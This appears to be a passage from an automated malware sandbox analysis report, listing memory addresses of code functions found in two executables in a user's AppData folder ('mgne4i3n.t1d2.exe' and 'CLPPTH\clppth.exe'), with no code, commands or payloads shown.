Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01E8C9F8	31_2_00007FFB01E8C9F8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01F14B60	31_2_00007FFB01F14B60
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB01F90BD0	31_2_00007FFB01F90BD0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB040B12F0	31_2_00007FFB040B12F0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB040B1880	31_2_00007FFB040B1880
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B4877F8	31_2_00007FFB0B4877F8
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B481000	31_2_00007FFB0B481000
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B483DC0	31_2_00007FFB0B483DC0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B482DC0	31_2_00007FFB0B482DC0
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B486080	31_2_00007FFB0B486080
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB0B483B20	31_2_00007FFB0B483B20
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: 31_2_00007FFB226C531C	31_2_00007FFB226C531C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB4F10	38_2_00007FF795BB4F10
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B91000	38_2_00007FF795B91000
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB5C74	38_2_00007FF795BB5C74
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA0E70	38_2_00007FF795BA0E70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B995FB	38_2_00007FF795B995FB
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BACD6C	38_2_00007FF795BACD6C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA28C0	38_2_00007FF795BA28C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA1074	38_2_00007FF795BA1074
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BAD880	38_2_00007FF795BAD880
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA5040	38_2_00007FF795BA5040
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B9979B	38_2_00007FF795B9979B
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B99FCD	38_2_00007FF795B99FCD
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB2F20	38_2_00007FF795BB2F20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA1F30	38_2_00007FF795BA1F30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BAFBD8	38_2_00007FF795BAFBD8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB5728	38_2_00007FF795BB5728
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA7AAC	38_2_00007FF795BA7AAC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA0A60	38_2_00007FF795BA0A60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA1280	38_2_00007FF795BA1280
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB8A38	38_2_00007FF795BB8A38
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BAD200	38_2_00007FF795BAD200
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA91B0	38_2_00007FF795BA91B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB518C	38_2_00007FF795BB518C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA2CC4	38_2_00007FF795BA2CC4
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA0C64	38_2_00007FF795BA0C64
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA1484	38_2_00007FF795BA1484
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BAFBD8	38_2_00007FF795BAFBD8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BA73F4	38_2_00007FF795BA73F4
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB33BC	38_2_00007FF795BB33BC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795BB0B84	38_2_00007FF795BB0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 38_2_00007FF795B98B20	38_2_00007FF795B98B20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B91000	42_2_00007FF795B91000
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB5C74	42_2_00007FF795BB5C74
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB4F10	42_2_00007FF795BB4F10
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA0E70	42_2_00007FF795BA0E70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B995FB	42_2_00007FF795B995FB
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BACD6C	42_2_00007FF795BACD6C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA28C0	42_2_00007FF795BA28C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA1074	42_2_00007FF795BA1074
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BAD880	42_2_00007FF795BAD880
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA5040	42_2_00007FF795BA5040
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B9979B	42_2_00007FF795B9979B
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B99FCD	42_2_00007FF795B99FCD
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB2F20	42_2_00007FF795BB2F20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA1F30	42_2_00007FF795BA1F30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BAFBD8	42_2_00007FF795BAFBD8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB5728	42_2_00007FF795BB5728
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA7AAC	42_2_00007FF795BA7AAC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA0A60	42_2_00007FF795BA0A60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA1280	42_2_00007FF795BA1280
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB8A38	42_2_00007FF795BB8A38
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BAD200	42_2_00007FF795BAD200
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA91B0	42_2_00007FF795BA91B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB518C	42_2_00007FF795BB518C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA2CC4	42_2_00007FF795BA2CC4
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA0C64	42_2_00007FF795BA0C64
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA1484	42_2_00007FF795BA1484
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BAFBD8	42_2_00007FF795BAFBD8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BA73F4	42_2_00007FF795BA73F4
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB33BC	42_2_00007FF795BB33BC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795BB0B84	42_2_00007FF795BB0B84
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FF795B98B20	42_2_00007FF795B98B20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB0D631880	42_2_00007FFB0D631880
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB0D6312F0	42_2_00007FFB0D6312F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B1920	42_2_00007FFB1C3B1920
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B1A00	42_2_00007FFB1C3B1A00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B55D0	42_2_00007FFB1C3B55D0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3BFA88	42_2_00007FFB1C3BFA88
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B4650	42_2_00007FFB1C3B4650
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B5F00	42_2_00007FFB1C3B5F00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B12B0	42_2_00007FFB1C3B12B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B2F80	42_2_00007FFB1C3B2F80
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B8F40	42_2_00007FFB1C3B8F40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B73F8	42_2_00007FFB1C3B73F8
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3B23B0	42_2_00007FFB1C3B23B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C453D60	42_2_00007FFB1C453D60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4DE640	42_2_00007FFB1C4DE640
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C497FE0	42_2_00007FFB1C497FE0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3F60C0	42_2_00007FFB1C3F60C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C46B9F0	42_2_00007FFB1C46B9F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5402D0	42_2_00007FFB1C5402D0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C454B90	42_2_00007FFB1C454B90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4173A0	42_2_00007FFB1C4173A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4864B0	42_2_00007FFB1C4864B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4BAD90	42_2_00007FFB1C4BAD90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3F3590	42_2_00007FFB1C3F3590
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C44D530	42_2_00007FFB1C44D530
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C40F520	42_2_00007FFB1C40F520
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C504DF0	42_2_00007FFB1C504DF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C406DF0	42_2_00007FFB1C406DF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4B2DB0	42_2_00007FFB1C4B2DB0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3F667A	42_2_00007FFB1C3F667A
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C49EE60	42_2_00007FFB1C49EE60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3EFE20	42_2_00007FFB1C3EFE20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C470650	42_2_00007FFB1C470650
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C411EF0	42_2_00007FFB1C411EF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C522710	42_2_00007FFB1C522710
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3F8710	42_2_00007FFB1C3F8710
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4076B0	42_2_00007FFB1C4076B0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C40FF30	42_2_00007FFB1C40FF30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C49D010	42_2_00007FFB1C49D010
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C50DFF0	42_2_00007FFB1C50DFF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4017C0	42_2_00007FFB1C4017C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4A8060	42_2_00007FFB1C4A8060
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C50B050	42_2_00007FFB1C50B050
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3F9050	42_2_00007FFB1C3F9050
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C40E910	42_2_00007FFB1C40E910
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4A6110	42_2_00007FFB1C4A6110
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3E10FE	42_2_00007FFB1C3E10FE
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C45A100	42_2_00007FFB1C45A100
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C411100	42_2_00007FFB1C411100
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C456920	42_2_00007FFB1C456920
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C473290	42_2_00007FFB1C473290
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C515A60	42_2_00007FFB1C515A60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4FEA90	42_2_00007FFB1C4FEA90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C450280	42_2_00007FFB1C450280
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C3E3A47	42_2_00007FFB1C3E3A47
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C453A40	42_2_00007FFB1C453A40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C50AAD0	42_2_00007FFB1C50AAD0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4DC2C0	42_2_00007FFB1C4DC2C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C484B60	42_2_00007FFB1C484B60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C415390	42_2_00007FFB1C415390
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C405380	42_2_00007FFB1C405380
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C456B30	42_2_00007FFB1C456B30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C437B40	42_2_00007FFB1C437B40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C471BD0	42_2_00007FFB1C471BD0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C500BD0	42_2_00007FFB1C500BD0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C4DA420	42_2_00007FFB1C4DA420
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C505C20	42_2_00007FFB1C505C20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C533420	42_2_00007FFB1C533420
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C433447	42_2_00007FFB1C433447
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C61F910	42_2_00007FFB1C61F910
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C67568E	42_2_00007FFB1C67568E
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C677230	42_2_00007FFB1C677230
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B1310	42_2_00007FFB1C5B1310
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B5080	42_2_00007FFB1C5B5080
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C686370	42_2_00007FFB1C686370
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5D3D00	42_2_00007FFB1C5D3D00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C659D60	42_2_00007FFB1C659D60
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C64BD40	42_2_00007FFB1C64BD40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A3D30	42_2_00007FFB1C5A3D30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C629E90	42_2_00007FFB1C629E90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C62FE20	42_2_00007FFB1C62FE20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5DFEE0	42_2_00007FFB1C5DFEE0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C68BF70	42_2_00007FFB1C68BF70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B5FB0	42_2_00007FFB1C5B5FB0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5DB910	42_2_00007FFB1C5DB910
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C64D960	42_2_00007FFB1C64D960
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C6139E0	42_2_00007FFB1C6139E0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C6899A0	42_2_00007FFB1C6899A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C651A70	42_2_00007FFB1C651A70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C605A70	42_2_00007FFB1C605A70
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5E5A50	42_2_00007FFB1C5E5A50
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C685B10	42_2_00007FFB1C685B10
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C665AF0	42_2_00007FFB1C665AF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C64FAD0	42_2_00007FFB1C64FAD0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65BAA0	42_2_00007FFB1C65BAA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65FBF0	42_2_00007FFB1C65FBF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5ADBA0	42_2_00007FFB1C5ADBA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C621710	42_2_00007FFB1C621710
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5FB6A0	42_2_00007FFB1C5FB6A0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C699790	42_2_00007FFB1C699790
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C62373C	42_2_00007FFB1C62373C
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C627720	42_2_00007FFB1C627720
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C6717C0	42_2_00007FFB1C6717C0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C653850	42_2_00007FFB1C653850
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5C7840	42_2_00007FFB1C5C7840
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5E3820	42_2_00007FFB1C5E3820
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5B5820	42_2_00007FFB1C5B5820
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5AD830	42_2_00007FFB1C5AD830
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5E3100	42_2_00007FFB1C5E3100
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5E9100	42_2_00007FFB1C5E9100
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A10E0	42_2_00007FFB1C5A10E0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C64D290	42_2_00007FFB1C64D290
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C66B270	42_2_00007FFB1C66B270
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C62325B	42_2_00007FFB1C62325B
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C643250	42_2_00007FFB1C643250
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C67D2E0	42_2_00007FFB1C67D2E0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C619380	42_2_00007FFB1C619380
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C60F370	42_2_00007FFB1C60F370
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C61ACD0	42_2_00007FFB1C61ACD0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C698D80	42_2_00007FFB1C698D80
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C658D50	42_2_00007FFB1C658D50
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C618D40	42_2_00007FFB1C618D40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C664D30	42_2_00007FFB1C664D30
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C662E10	42_2_00007FFB1C662E10
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65ADF0	42_2_00007FFB1C65ADF0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C624DA0	42_2_00007FFB1C624DA0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C626E90	42_2_00007FFB1C626E90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C620E40	42_2_00007FFB1C620E40
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C61AE20	42_2_00007FFB1C61AE20
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C65EF00	42_2_00007FFB1C65EF00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A4EE0	42_2_00007FFB1C5A4EE0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C684F90	42_2_00007FFB1C684F90
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C614FE0	42_2_00007FFB1C614FE0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C605070	42_2_00007FFB1C605070
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C623050	42_2_00007FFB1C623050
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5AC8AC	42_2_00007FFB1C5AC8AC
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5A6A00	42_2_00007FFB1C5A6A00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C686A00	42_2_00007FFB1C686A00
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C62A9F0	42_2_00007FFB1C62A9F0
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: 42_2_00007FFB1C5FA9A0	42_2_00007FFB1C5FA9A0
